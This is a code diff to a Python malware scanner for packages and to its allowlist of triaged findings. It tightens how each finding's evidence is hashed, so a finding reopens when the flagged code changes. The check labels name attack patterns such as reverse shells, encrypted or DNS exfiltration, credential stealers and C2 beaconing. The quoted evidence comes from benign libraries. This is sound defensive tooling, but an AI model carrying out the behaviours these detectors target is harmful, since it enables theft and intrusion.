# Bind whichever side(s) co-occur so a changed endpoint or key reopens.+ evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"]+ if has_network:+ evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")+ if has_keys:+ evidence.append(f"Key: {_embedded_key_evidence(content)}")findings.append(Finding(CRITICAL,package,filename,"openssl encryption + network/key material (encrypted exfiltration)",- f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}\n"- f"Network: {_extract_evidence(content, RE_NETWORK)}",+ "\n".join(evidence),))@@ -896,6 +922,10 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:# Obfuscated payload: base64 + exec/eval + large blobif has_base64 and has_exec_eval and has_blob:+ # Digest every blob too: a payload may sit on a separate line from the+ # decode call, and a second encoded blob may be appended later, so+ # binding only the base64/exec lines or the first blob would miss it.+ _, blob_digest = _blob_digest(content)findings.append(Finding(HIGH,@@ -903,7 +933,8 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:filename,"base64 decode + exec/eval + large encoded blob",f"Base64: {_extract_evidence(content, RE_BASE64)}\n"- f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}",+ f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}\n"+ f"Blob: sha256:{blob_digest}",))@@ -928,32 +959,48 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:package,filename,"Embedded cryptographic key + network calls (encrypted exfil pattern)",- f"Key: {_extract_evidence(content, RE_EMBEDDED_KEYS)}\n"+ f"Key: {_embedded_key_evidence(content)}\n"f"Network: {_extract_evidence(content, RE_NETWORK)}",))# Anti-analysis + any other suspicious patternif has_anti and (has_network or has_subprocess or has_exec_eval):+ # Bind the suspicious side too so a changed payload reopens.+ evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"]+ if has_network:+ evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")+ if has_subprocess:+ evidence.append(f"Subprocess: {_extract_evidence(content, RE_SUBPROCESS)}")+ if has_exec_eval:+ evidence.append(f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}")findings.append(Finding(HIGH,package,filename,"Anti-analysis/sandbox evasion + suspicious behavior",- f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}",+ "\n".join(evidence),))# DNS exfiltration with dynamic hostnamesif has_dns_exfil and (has_base64 or has_network or has_creds):+ # Bind the co-occurring side so a changed exfil channel reopens.+ evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"]+ if has_base64:+ evidence.append(f"Base64: {_extract_evidence(content, RE_BASE64)}")+ if has_network:+ evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")+ if has_creds:+ evidence.append(f"Creds: {_extract_evidence(content, RE_CRED_ACCESS)}")findings.append(Finding(HIGH,package,filename,"DNS exfiltration / tunneling patterns",- _extract_evidence(content, RE_DNS_EXFIL),+ "\n".join(evidence),))@@ -1064,7 +1111,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:package,filename,"Embedded cryptographic key material",- _extract_evidence(content, RE_EMBEDDED_KEYS),+ _embedded_key_evidence(content),))@@ -1107,39 +1154,349 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:return findings+_MAX_MULTILINE_LINES = 12+# How far a single matched call is followed over its bracket continuations. A call+# that genuinely closes is bound all the way to its real close, up to the hard+# limit, so a ``requests.post(`` with many option/header lines before ``data=``+# binds its whole argument list in the digest and a changed payload on a late+# continuation line reopens (a 40-line soft cap would hash only the first 40 lines+# and let a later ``data=``/headers change ride the baseline key). A bracket that+# never closes within the hard limit is a miscount (a multi-line string the+# single-line blanker cannot mask) or a stray opener, so it is bound only to the+# soft cap and cannot swallow unrelated code.+_MAX_CALL_LINES = 40 # soft cap: how far a NEVER-closing opener is followed+_MAX_CALL_HARD_LINES = 200 # hard cap: how far a closing call is followed to bind it++# Cap a single rendered line. A short line is shown verbatim; a long (e.g.+# minified one-liner) line is shown as a bounded prefix plus a sha256 of the full+# line, so a packed payload cannot dump unbounded content into the evidence and+# baseline while a change past the cutoff still changes the digest and reopens the+# finding. The npm scanner bounds its snippets the same way.+_MAX_LINE_CHARS = 200+# Cap on recorded spans in one evidence string; beyond it the remaining spans are+# folded into a digest so a file with thousands of matching lines cannot build a+# multi-megabyte evidence blob, while an added/removed span past the cap still+# changes the key. Comfortably above the largest real baseline entry.+_MAX_EVIDENCE_SPANS = 96+++def _cap_line(code: str) -> str:+ """Bound a single line's displayed code: return it verbatim when short, else a+ ``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still+ pinned (fail-closed) without recording the entire line."""+ if len(code) <= _MAX_LINE_CHARS:+ return code+ digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()+ return f"{code[:_MAX_LINE_CHARS]} sha256:{digest}"+++_PY_TRIPLE = ("'''", '"""')+++def _ends_with_odd_backslash(s: str) -> bool:+ """True if ``s`` ends with an odd run of backslashes, i.e. a trailing+ backslash that escapes the newline (a string/line continuation) rather than a+ literal ``\\\\`` pair."""+ return (len(s) - len(s.rstrip("\\"))) % 2 == 1+++# Single-line quoted string literal; blanks complete one-line strings (the legacy+# view) so the single-line and multi-line blanked spans can be unioned below.+_RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"")+++def _blank_code_strings(lines: list[str]) -> list[str]:+ """Replace string contents (single- and triple-quoted, escapes honoured) with+ spaces across ``lines``, keeping the line count and every bracket OUTSIDE a+ string intact. Bracket counting then never miscounts a ``)`` that lives inside+ a string -- including a triple-quoted string spanning several lines, which a+ per-line regex cannot blank."""+ out: list[str] = []+ in_triple: str | None = None # active ''' or \"\"\" delimiter, or None+ in_string: str | None = None # active ' or " continued via a trailing backslash+ for line in lines:+ buf: list[str] = []+ i, n = 0, len(line)+ while i < n:+ if in_triple is not None:+ end = line.find(in_triple, i)+ if end == -1:+ buf.append(" " * (n - i))+ i = n+ else:+ buf.append(" " * (end - i + 3))+ i = end + 3+ in_triple = None+ continue+ if in_string is not None:+ # A single-/double-quoted string continued onto this line by a+ # backslash-escaped newline. Resume blanking until its closing quote;+ # if this line also ends on an odd trailing backslash the string+ # continues again, otherwise it closes (or is unterminated) here. A+ # per-line regex blanker cannot see this, so a `)` on the+ # continuation line would otherwise be counted as code and close the+ # call early -- dropping the URL/body lines that follow.+ j, closed = i, False+ while j < n:+ if line[j] == "\\":+ j += 2+ continue+ if line[j] == in_string:+ j += 1+ closed = True+ break+ j += 1+ buf.append(" " * (min(j, n) - i))+ if closed:+ in_string = None+ i = j+ else:+ i = n+ if not _ends_with_odd_backslash(line):+ in_string = None # unterminated without continuation; stop+ continue+ ch = line[i]+ if ch in "'\"":+ if line[i : i + 3] in _PY_TRIPLE:+ delim = line[i : i + 3]+ end = line.find(delim, i + 3)+ if end == -1: # opens a triple string that runs past this line+ buf.append(" " * (n - i))+ in_triple = delim+ i = n+ else:+ buf.append(" " * (end - i + 3))+ i = end + 3+ continue+ j = i + 1 # single-line string; skip to its closing quote+ closed = False+ while j < n:+ if line[j] == "\\":+ j += 2+ continue+ if line[j] == ch:+ j += 1+ closed = True+ break+ j += 1+ buf.append(" " * (min(j, n) - i))+ if closed:+ i = j+ else:+ # Ran off the line without closing: an odd trailing backslash+ # escapes the newline and continues the string onto the next+ # line, so remember the quote; otherwise it is just unterminated.+ i = n+ if _ends_with_odd_backslash(line):+ in_string = ch+ continue+ buf.append(ch)+ i += 1+ out.append("".join(buf))+ return out+++_RE_BRACKETS = re.compile(r"[()\[\]{}]")+_OPENERS = frozenset("([{")+++def _bracket_lr(line: str) -> tuple[int, int]:+ """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``+ where ``L`` is the count of closers with no opener earlier on the line (they+ need an opener to the LEFT / a prior line) and ``R`` is the count of openers+ with no closer later on the line (they need a closer to the RIGHT / a later+ line). A plain net count (opens minus closes) collapses order and so masks a+ trailing opener that follows leading closers on the same line, e.g.+ ``]; requests.post(`` nets to 0 and hides the ``(`` that opens the flagged+ call; tracking the running minimum keeps that opener visible so the call's+ argument lines still bind. Only bracket characters are walked (pulled out with+ one C-level regex pass) so a long minified line stays cheap."""+ depth = 0+ low = 0+ for ch in _RE_BRACKETS.findall(line):+ if ch in _OPENERS:+ depth += 1+ else:+ depth -= 1+ if depth < low:+ low = depth+ return -low, depth - low+++def _scan_line_end(view: list[str], start: int) -> int:+ """1-based line where the statement at ``start`` closes its brackets in+ ``view`` (one blanked view of the file). A call that closes is followed to its+ real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; a+ bracket that never closes within that hard limit (a stray/miscounted opener) is+ bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file.+ Brackets are applied in order via ``_bracket_lr`` (leading closers clamp at 0)+ so a closer that precedes the opener on the same line does not cancel it."""+ depth = 0+ hard = min(len(view), start + _MAX_CALL_HARD_LINES - 1)+ for j in range(start, hard + 1):+ ln = view[j - 1]+ left, right = _bracket_lr(ln)+ depth = max(0, depth - left) + right+ if ln.rstrip().endswith("\\"):+ continue # explicit backslash continuation: the call (e.g. its `(` and+ # URL/body) is on the next physical line, so do not close here+ if depth <= 0:+ return j+ # Never closed within the hard limit: bind only the soft cap so a stray opener+ # cannot bind a giant unrelated span.+ return min(len(view), start + _MAX_CALL_LINES - 1)+++def _logical_line_end(sl_blanked: list[str], ml_blanked: list[str], start: int) -> int:+ """1-based line where the statement opened at ``start`` closes, so a multi-line+ call binds its argument lines (a changed URL/body on a continuation line+ reopens, not just the API line). Returns the LARGER of the spans found in the+ single-line-blanked view (legacy: a payload embedded inside a string still+ counts, so its brackets bind the call) and the multi-line-blanked view (a+ bracket inside a triple-quoted string argument no longer closes the call+ early). Taking the union never shrinks the bound span below either view, so+ neither blanking strategy can drop a continuation line a malicious change+ relies on."""+ return max(_scan_line_end(sl_blanked, start), _scan_line_end(ml_blanked, start))++def _extract_evidence(content: str,pattern: re.Pattern,- max_matches: int = 3,+ max_matches: int = 0,) -> str:- """Pull matching lines as evidence snippets.-- Falls back to a whole-content search when the pattern only matches across- line boundaries (several IOC regexes use ``re.DOTALL``). Without this an- anti-analysis / archive-staging finding could report empty evidence, making- the baseline entry impossible to review.+ """Pull matching lines as evidence snippets (``max_matches=0`` means all).++ Records every matching line in full, not a truncated sample, so an extra+ match (or extra code on a long line) appended to an already-flagged file+ changes the evidence and the baseline key instead of riding the first few.+ Leading whitespace is kept so a flagged line moved out of a guarded block+ reads as changed. Each single-line match is extended over bracket+ continuations so a multi-line call binds its argument lines too. Cross-line+ matches the per-line scan cannot see (DOTALL IOC regexes, or a multi-line+ construct appended under a check that already had a one-line match) are+ recorded afterwards, so an added multiline payload reopens the finding. A+ pathological greedy span is bounded to its head line plus a digest of the+ rest."""lines = content.splitlines()- matches = []+ sl_blanked = [_RE_STR_LITERAL.sub("", ln) for ln in lines]+ ml_blanked = _blank_code_strings(lines)+ out = []+ seen: set[tuple[int, int]] = set()+ # Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS+ # rendered spans, every further span is folded straight into a running digest+ # instead of being materialized and sliced off at the end. On a minified or+ # padded file with hundreds of thousands of matching lines that keeps memory+ # and work bounded to the display cap rather than the match count, while the+ # digest still covers every overflow span so an over-cap payload change+ # reopens. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly+ # (strip each span to its non-empty L<NN>-less code lines, join with "\n"), so+ # the digest is identical to buffering the whole list and canonicalizing once.+ overflow_count = 0+ overflow_hash = hashlib.sha256()+ overflow_started = False++ def _emit(rendered: str) -> None:+ nonlocal overflow_count, overflow_started+ if len(out) < _MAX_EVIDENCE_SPANS:+ out.append(rendered)+ return+ overflow_count += 1+ for piece in _RE_EVIDENCE_SPLIT.split(rendered):+ piece = _RE_EVIDENCE_PREFIX.sub("", piece, count = 1).rstrip()+ if not piece:+ continue+ if overflow_started:+ overflow_hash.update(b"\n")+ overflow_hash.update(piece.encode("utf-8", "replace"))+ overflow_started = True++ def _render(start: int, end: int) -> str:+ span = lines[start - 1 : end] or ["<multiline match>"]+ if len(span) > _MAX_MULTILINE_LINES:+ # Digest the code without the L<NN>: markers so a pure line shift of+ # the same span stays stable while a code change still reopens. The+ # head is truncated for display only; the span digest already binds+ # its full content, so no per-line digest is needed here.+ code = "\n".join(ln.rstrip() for ln in span)+ digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()+ head = span[0].rstrip()+ if len(head) > _MAX_LINE_CHARS:+ head = head[:_MAX_LINE_CHARS] + "..."+ return f"L{start}: {head} sha256:{digest}"+ return "\n".join(f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span))+for i, line in enumerate(lines, 1):if pattern.search(line):- snippet = line.strip()- if len(snippet) > 160:- snippet = snippet[:160] + "..."- matches.append(f"L{i}: {snippet}")- if len(matches) >= max_matches:- break- if matches:- return " | ".join(matches)- # Multiline (DOTALL) match: report the line where the match begins.- m = pattern.search(content)- if m:- line_no = content.count("\n", 0, m.start()) + 1- snippet = lines[line_no - 1].strip() if line_no - 1 < len(lines) else ""- if len(snippet) > 160:- snippet = snippet[:160] + "..."- return f"L{line_no}: {snippet}" if snippet else f"L{line_no}: <multiline match>"- return ""+ span = (i, _logical_line_end(sl_blanked, ml_blanked, i))+ if span in seen:+ continue+ # Only track spans while still filling the display list: past the cap+ # every span is folded into the overflow digest, so growing `seen` with+ # all of them would keep memory proportional to the match count (the+ # behavior this cap exists to bound) on a generated file with millions+ # of one-line matches. The per-line spans are unique by line number, so+ # dropping them from `seen` past the cap cannot cause a missed dedup+ # here; at worst the fallback re-folds an over-cap span into the same+ # digest, which stays deterministic and still reopens on a change.+ if len(out) < _MAX_EVIDENCE_SPANS:+ seen.add(span)+ _emit(_render(*span))+ if max_matches and len(out) >= max_matches:+ return " | ".join(out)++ # Precompute newline offsets once so mapping a match offset to its 1-based line+ # is O(log n) (bisect) rather than O(n) (content.count) per match; the latter+ # made this fallback quadratic on a minified file with thousands of matches.+ nl = [p for p, ch in enumerate(content) if ch == "\n"]+ for m in pattern.finditer(content):+ start = bisect.bisect_left(nl, m.start()) + 1+ end = bisect.bisect_left(nl, m.end()) + 1+ if end <= start or (start, end) in seen:+ continue # single-line matches are already covered by the pass above+ # A giant greedy DOTALL span is bound by the full digest of its content+ # (via _render, which renders a >12-line span as a head line plus a sha256+ # of the whole span). Binding only the anchors leaves the bridged interior+ # unhashed, so an attacker could insert a new cross-line payload (a `/tmp`+ # line and a later `subprocess` line, sharing no single line so the+ # per-line pass never binds them) between unchanged outer anchors and keep+ # the same key. Digesting the interior reopens on any such change; a pure+ # line shift stays stable because the digest is over the markerless code.+ if len(out) < _MAX_EVIDENCE_SPANS:+ seen.add((start, end))+ _emit(_render(start, end))+ if max_matches and len(out) >= max_matches:+ break+ if overflow_count:+ # The overflow digest was accumulated from the canonicalized (L<NN>:-less)+ # spans as they were emitted, so a pure line shift above the overflow+ # region does not change it and reopen an otherwise-unchanged finding,+ # matching the per-span key's line-shift stability.+ out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")+ return " | ".join(out)+++def _embedded_key_evidence(content: str) -> str:+ """Key evidence that also pins the full PEM block(s) via a digest, so a key+ body swapped under the same BEGIN marker reopens the finding (single-line and+ DER keys are already bound by their full matched line)."""+ ev = _extract_evidence(content, RE_EMBEDDED_KEYS)+ blocks = RE_PEM_BLOCK.findall(content)+ if blocks:+ digest = hashlib.sha256("\n".join(blocks).encode("utf-8", "replace")).hexdigest()+ ev = f"{ev} sha256:{digest}" if ev else f"sha256:{digest}"+ return ev+++def _blob_digest(content: str) -> tuple[str, str]:+ """First large blob (for display) plus a digest binding EVERY large blob, so+ an appended or swapped encoded payload reopens the finding rather than riding+ an unchanged first blob. Assumes at least one blob is present (single-blob+ files keep the prior single-blob digest, so the baseline does not drift)."""+ blobs = RE_LARGE_BLOB.findall(content)+ digest = hashlib.sha256("\n".join(blobs).encode("utf-8", "replace")).hexdigest()+ return blobs[0], digest# Non-Python checkers@@ -1189,7 +1546,8 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:package,filename,"JS embeds credential regexes AND makes network calls (stealer)",- _extract_evidence(content, RE_TOKEN_REGEX),+ f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"+ f"Network: {_extract_evidence(content, RE_NETWORK)}",))if has_workflow_inj:@@ -1202,18 +1560,31 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:_extract_evidence(content, RE_WORKFLOW_INJECT),))- if is_large and not findings:- findings.append(- Finding(- HIGH,- package,- filename,- # Size stays in evidence, not the check label, so the baseline key- # does not drift when a wheel's bundle grows by a few KB.- "Python wheel ships large JS bundle (uncommon; manually review)",- f"{len(content) // 1024} KB JS bundle",+ # Pin the whole file's content digest to EVERY JS finding (not just large+ # bundles). _extract_evidence blanks only Python string forms before counting+ # brackets, so a JS backtick template literal that contains `)` can close a+ # call's span early and omit the option/body lines that follow; binding the+ # full content means a change to those omitted lines still reopens instead of+ # riding the matched-line evidence. A large bundle with no other heuristic is a+ # standalone HIGH.+ if findings or is_large:+ digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()+ if findings:+ for f in findings:+ f.evidence = f"{f.evidence} bundle-sha256:{digest}"+ else:+ findings.append(+ Finding(+ HIGH,+ package,+ filename,+ # Size stays out of the check label (from main) so the baseline+ # key does not drift when a benign bundle grows; the full-content+ # digest below still binds the bytes so a payload swap reopens.+ "Python wheel ships large JS bundle (uncommon; manually review)",+ f"sha256: {digest}",+ ))- )return findings@@ -1233,6 +1604,12 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]if RE_DEV_TOOL_HIJACK.search(content) and (RE_NETWORK.search(content) or RE_SUBPROCESS.search(content)):+ # Bind the hook AND the network/exec signal so a changed exfil reopens.+ evidence = [f"Hook: {_extract_evidence(content, RE_DEV_TOOL_HIJACK)}"]+ if RE_NETWORK.search(content):+ evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")+ if RE_SUBPROCESS.search(content):+ evidence.append(f"Exec: {_extract_evidence(content, RE_SUBPROCESS)}")findings.append(Finding(CRITICAL,@@ -1240,7 +1617,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]filename,"Shell installs developer-tool persistence hook (.bashrc / ""profile.d / vscode tasks) AND has network or exec",- _extract_evidence(content, RE_DEV_TOOL_HIJACK),+ "\n".join(evidence),))if RE_TOKEN_REGEX.search(content) and RE_NETWORK.search(content):@@ -1250,7 +1627,8 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]package,filename,"Shell embeds credential regexes AND makes network calls",- _extract_evidence(content, RE_TOKEN_REGEX),+ f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"+ f"Network: {_extract_evidence(content, RE_NETWORK)}",))if RE_WORKFLOW_INJECT.search(content):@@ -2517,9 +2895,9 @@ def _find_requirements_files(root: str) -> list[str]:# Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can# enforce without drowning in legitimate-library noise. Matched on-# ``(package, basename(filename), check)`` -- not evidence text -- so a version-# bump does not reopen a finding, but a *new* kind of finding in a listed file-# is a different check and still fails. Regenerate with ``--write-baseline``.+# (package, package-relative file, check, evidence hash); the hash strips+# ``L<NN>:`` markers so version bumps and line shifts do not reopen an entry,+# but changed flagged code does. Regenerate with ``--write-baseline``._DEFAULT_BASELINE_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json"@@ -2546,16 +2924,54 @@ def _relpath_in_package(filename: str) -> str:return _RE_SDIST_ROOT.sub("", filename, count = 1)-def _finding_key(f: Finding) -> tuple[str, str, str]:- """Stable allowlist key: normalized package, package-relative path, check.+# Evidence joins matched spans with " | " and a newline between labelled groups,+# each span tagged "L<NN>: ". Split only on those real delimiters (a " | " before+# a marker, or a newline), never on a bare "|" -- matched code may contain a+# bitwise-or or union type. The prefix strips only a genuine leading marker, an+# optional "Label: " then "L<NN>: "; a marker-like "L<NN>:" inside raw code (e.g.+# a .pth import line) has no leading marker and is left intact.+_RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n")+_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?")+++def _canon_evidence(evidence: str) -> str:+ """Matched code lines in discovery order (markers removed), duplicates kept.++ Splits evidence on its real span delimiters, drops each span's leading+ label / line-number marker, and keeps the code with its indentation. Line+ shifts are absorbed by stripping the L<NN>: markers, not by sorting, so order+ stays significant: reordering matched lines (executable context, e.g. the+ arguments of a multi-line call) reopens the finding. Keeping duplicates means+ an appended identical occurrence still changes the key."""+ spans = []+ for s in _RE_EVIDENCE_SPLIT.split(evidence or ""):+ s = _RE_EVIDENCE_PREFIX.sub("", s, count = 1).rstrip()+ if s:+ spans.append(s)+ return "\n".join(spans)- The package-relative path (not just basename) keeps the key stable across- version bumps while still distinguishing same-named files like ``utils.py``.++def _evidence_hash(evidence: str) -> str:+ """Stable digest of the canonical matched evidence."""+ return hashlib.sha256(_canon_evidence(evidence).encode("utf-8", "replace")).hexdigest()+++def _finding_key(f: Finding) -> tuple[str, str, str, str]:+ """Allowlist key: package, package-relative path, check, evidence hash.++ The evidence hash is over the set of matched code, so the key survives version+ bumps, line shifts and reordering but reopens when the flagged code changes --+ so a future payload in a baselined file/check is not auto-suppressed."""- return (_norm_pkg(f.package), _relpath_in_package(f.filename), f.check)+ return (+ _norm_pkg(f.package),+ _relpath_in_package(f.filename),+ f.check,+ _evidence_hash(f.evidence),+ )-def _load_baseline(path: str) -> set[tuple[str, str, str]]:+def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""try:with open(path, "r", encoding = "utf-8") as fh:@@ -2565,19 +2981,47 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:except (OSError, json.JSONDecodeError) as exc:print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)return set()- keys: set[tuple[str, str, str]] = set()- for e in data.get("entries", []):+ if not isinstance(data, dict):+ print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr)+ return set()+ entries = data.get("entries", [])+ if not isinstance(entries, list):+ print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)+ return set()+ keys: set[tuple[str, str, str, str]] = set()+ legacy = 0+ for e in entries:+ if not isinstance(e, dict):+ continuetry:- keys.add((_norm_pkg(e["package"]), _relpath_in_package(e["file"]), e["check"]))+ # Use the reviewed hash; else recompute it from the stored evidence.+ evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")+ if not e.get("evidence_hash"):+ legacy += 1+ keys.add(+ (+ _norm_pkg(e["package"]),+ _relpath_in_package(e["file"]),+ e["check"],+ evidence_hash,+ )+ )except (KeyError, TypeError):continue+ if legacy:+ print(+ f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "+ f"not suppress until regenerated with --write-baseline (findings reopen "+ f"rather than risk hiding changed code under a coarse key)",+ file = sys.stderr,+ )return keysdef _write_baseline(path: str, findings: list[Finding]) -> None:"""Persist CRITICAL/HIGH findings as an allowlist for human triage."""entries = []- seen: set[tuple[str, str, str]] = set()+ seen: set[tuple[str, str, str, str]] = set()for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)):if f.severity not in (CRITICAL, HIGH):continue@@ -2591,15 +3035,18 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:"file": _relpath_in_package(f.filename),"check": f.check,"severity": f.severity,- "evidence": f.evidence[:240],+ "evidence": f.evidence,+ "evidence_hash": _evidence_hash(f.evidence),})doc = {"_comment": ("scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding ""manually judged benign. Matched on (package, package-relative file, "- "check); evidence/severity are for review only. Regenerate with "- "--write-baseline AFTER reviewing every line."+ "check, evidence_hash); evidence_hash is over the matched code with "+ "L<NN>: markers stripped, so version bumps and line shifts do not "+ "reopen an entry but changed code does. severity and evidence are for "+ "review only. Regenerate with --write-baseline AFTER reviewing every line."),"version": 1,"entries": entries,@@ -2611,7 +3058,7 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:def _partition_baseline(- findings: list[Finding], baseline: set[tuple[str, str, str]]+ findings: list[Finding], baseline: set[tuple[str, str, str, str]]) -> tuple[list[Finding], list[Finding]]:"""Split findings into (active, suppressed) by allowlist membership."""if not baseline:diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.jsonindex 0c10ae3222f..046566d1484 100644--- a/scripts/scan_packages_baseline.json+++ b/scripts/scan_packages_baseline.json@@ -1,5 +1,5 @@{- "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line.",+ "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check, evidence_hash); evidence_hash is over the matched code with L<NN>: markers stripped, so version bumps and line shifts do not reopen an entry but changed code does. severity and evidence are for review only. Regenerate with --write-baseline AFTER reviewing every line.","version": 1,"entries": [{@@ -7,1302 +7,1488 @@"file": "botocore/credentials.py","check": "base64 decode + subprocess execution (staged payload)","severity": "CRITICAL",- "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):"+ "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):",+ "evidence_hash": "1008baa37a26866b477be20db0b3e6ce451e22ff26ae1ed43e9a0a15b71c6be6"},{"package": "botocore","file": "botocore/httpsession.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen("+ "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen(\nL478: method=request.method,\nL479: url=request_target,\nL480: body=request.body,\nL481: headers=request.headers,\nL482: retries=Retry(False),\nL483: assert_same_host=False,\nL484: preload_content=False,\nL485: decode_content=False,\nL486: chunked=self._chunked(request.headers),\nL487: )",+ "evidence_hash": "84d1912211c26294d7648176ae495b21b906a262de767c7238c2dba5d4be852f"},{"package": "botocore","file": "botocore/utils.py","check": "Accesses cloud metadata/IMDS AND makes network calls","severity": "CRITICAL",- "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2'\nNetwork: L32: from urllib.request import getpro"+ "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2' | L3075: '169.254.170.23',\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",+ "evidence_hash": "a827f57c1d53a4a6b76728785cf57d2396750ae0163a6abdf9617268146ccf66"},{"package": "botocore","file": "botocore/utils.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass"+ "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",+ "evidence_hash": "3554fe7787227ea6fe47adfe18dcf531e0f01bd7f02ac4d56e2b7587fa2b6c96"},{"package": "botocore","file": "botocore/utils.py","check": "Reads credential paths AND makes network calls","severity": "CRITICAL",- "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass"+ "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",+ "evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1"},{"package": "click","file": "click/testing.py","check": "Reverse shell / bind shell pattern","severity": "CRITICAL",- "evidence": "L91: os.dup2(self._tmpfile.fileno(), self._targetfd) | L95: os.dup2(self.saved_fd, self._targetfd)"+ "evidence": "L103: os.dup2(self._tmpfile.fileno(), self._targetfd) | L107: os.dup2(self.saved_fd, self._targetfd)",+ "evidence_hash": "7cfc260cd91d7ee7e65aaf0551f115d03593422b6dfcb3761fd74d18affec2e1"},{"package": "datasets","file": "datasets/utils/file_utils.py","check": "C2 polling/beaconing loop detected","severity": "CRITICAL",- "evidence": "L441: while True:"+ "evidence": "L443: while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea",+ "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c"+ },+ {+ "package": "datasets",+ "file": "datasets/utils/file_utils.py",+ "check": "C2 polling/beaconing loop detected",+ "severity": "CRITICAL",+ "evidence": "L441: while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da",+ "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d"},{"package": "diffusers","file": "diffusers/utils/import_utils.py","check": "Downloads and executes remote code","severity": 